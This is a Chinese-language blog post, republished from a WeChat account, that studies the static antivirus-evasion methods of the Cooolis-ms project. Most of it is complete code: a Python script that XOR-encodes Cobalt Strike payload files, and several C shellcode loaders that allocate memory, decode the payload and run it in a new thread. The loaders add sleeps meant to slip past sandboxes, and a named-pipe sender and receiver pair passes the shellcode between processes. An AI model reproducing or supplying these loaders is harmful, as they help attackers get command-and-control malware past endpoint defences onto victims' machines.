本文章从Coooli项目中做下学习记录
https://github.com/Rvn0xsy/Cooolis-ms
※本项目距今时间较为长,但是作者的规避思路仍就可以学习参考
对shellcode做异或的py脚本
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} n".format(shellcode_size))
if __name__ == "__main__":
main()
python3 .xor_shellcoder.py -s .payload.bin -d payload.c -n 10 -r out.bin
-r 参数输出的是混淆过的二进制版本shellcode,-d 参数输出的是C语言格式的shellcode
loader
通过调用VIrtualAlloc
创建内存WaitForSingleObject
来执行的一个loader
VirtualAlloc
→ CopyMemory
→ WaitForSingleObject
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* shellcode */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
异或loader
配合py异或脚本使用
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* shellcode */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
内存申请优化&异或loader
这里的流程就变成了
VirtualAlloc
→ CopyMemory
→ VirtualProtect
(修改属性为可执行) → WaitForSingleObject
执行
异或处用InterlockedXorRelease
函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* shellcode */
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
Sleep(50);
_InterlockedXor8(buf+i,10);
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);
// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
Pipe传输shellcode
管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节
通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。
流程:创建线程CreateThread
→ 管道接收shellcodeWaitNamedPipe
- CreateFile
- WriteFile
→ 链接管道ConnectNamedPipe
→ 获取数据ReadFile
→ VirtualAlloc
→ CopyMemory
→ VirtualProtect
(修改属性为可执行) → WaitForSingleObject
执行
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
/* length: 892 bytes */
char buf[] = "";
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");
//注意修改为可执行的类型,原代码中的类型是PTCHAR
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+}Can't Open Pipe, Error: %dn", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode: %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect;// 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error: %dn", dwError);
return dwError;
}
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length: %dn", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i < dwLen; i++) {
Sleep(10);
_InterlockedXor8(pszShellcode + i, 233);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
Pipe shellcode分离C&S
将Pipe的代码分开编译,实现接收端和发送端
这两段代码的逻辑就是Pipe代码阶段运行
接收端
确定管道名 → 连接管道 → 读取shellcode执行
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d n", dwError);
return dwError;
}
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i < dwLen; i++) {
Sleep(50);
_InterlockedXor8(pszShellcode + i, 233);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
发送端
将shellcode通过管道发送
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "";
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCodeTest");
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
RecvShellcode();
return 0;
}
原文始发于微信公众号(CatalyzeSec):静态恶意代码逃逸学习
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论